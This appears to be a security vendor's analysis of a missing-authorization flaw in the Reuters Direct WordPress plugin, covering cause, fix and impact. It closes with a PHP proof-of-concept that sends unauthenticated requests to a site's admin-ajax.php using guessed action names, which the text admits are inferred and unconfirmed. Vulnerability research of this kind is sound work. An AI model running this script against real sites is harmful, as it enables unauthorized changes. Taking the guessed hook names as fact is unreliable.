Atomic Edge analysis of CVE-2025-49349 (metadata-based):
This vulnerability in the Reuters Direct WordPress plugin up to version 3.0.0 is an instance of Missing Authorization (CWE-862). The flaw allows unauthenticated attackers to trigger a privileged action on the site due to the absence of a capability check on a specific plugin function.
Atomic Edge research identifies the root cause as a missing authorization check on a function exposed to unauthenticated users. The CWE classification confirms the plugin fails to verify a user’s capability or authentication state before executing a sensitive operation. This conclusion is inferred from the CWE and description, as no source code diff is available for direct confirmation. The vulnerability likely involves a WordPress hook (such as wp_ajax_nopriv_, admin_post_nopriv_, or a REST API endpoint) that lacks a current_user_can() check or equivalent validation.
Exploitation requires an attacker to send a crafted HTTP request to a specific WordPress endpoint. Based on common WordPress plugin patterns, the likely attack vector is an AJAX action handler accessible via /wp-admin/admin-ajax.php. The attacker would send a POST request with the action parameter set to a Reuters Direct-specific hook, such as reuters_direct_action. The request may include additional parameters required by the vulnerable function to trigger the unauthorized action. No authentication or nonce is required.
Remediation requires adding a proper authorization check before the vulnerable function executes. The plugin developer must implement a capability verification, such as checking if the current user has the manage_options capability or a custom plugin capability, using current_user_can(). For AJAX handlers, the function should be registered only with the wp_ajax_ prefix, not the wp_ajax_nopriv_ prefix, unless the action is intentionally public. A nonce check should also be added to prevent CSRF.
The impact of this vulnerability is unauthorized action execution by unauthenticated attackers. The CVSS vector indicates a low impact on integrity (I:L) with no effect on confidentiality or availability. This suggests the action does not directly lead to data theft, remote code execution, or site disruption. The unauthorized action could involve modifying plugin settings, triggering data processing, or performing other limited administrative functions within the plugin’s scope.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-49349 - Reuters Direct <= 3.0.0 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-49349.
* This script attempts to trigger an unauthorized action in the Reuters Direct plugin.
* The exact action name and required parameters are inferred from plugin conventions.
* Replace $target_url with the base URL of the target WordPress site.
*/
$target_url = 'https://example.com'; // CHANGE THIS
// Construct the endpoint for WordPress AJAX (common for plugin actions)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The action parameter is critical. We infer it likely starts with the plugin slug.
// Common patterns include 'reuters_direct_action', 'reuters_direct_update', etc.
// This PoC tests a few plausible action names.
$candidate_actions = [
'reuters_direct_action',
'reuters_direct_update',
'reuters_direct_process',
'reuters_direct_fetch'
];
// Additional POST parameters that might be required by the vulnerable function.
// These are placeholders; a real exploit would require specific parameter names.
$post_data = [
'data' => 'test',
'id' => '1'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
foreach ($candidate_actions as $action) {
$post_data['action'] = $action;
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "[*] Testing action: {$action}n";
echo " HTTP Code: {$http_code}n";
// A successful unauthorized action may return a 200 OK with plugin-specific output.
// Look for responses that are not default WordPress AJAX errors.
if ($http_code == 200 && stripos($response, '0') !== 0 && !empty(trim($response))) {
echo " Possible success. Response sample: " . substr($response, 0, 100) . "...n";
} else {
echo " No clear indication of success.n";
}
echo "n";
}
curl_close($ch);
?>
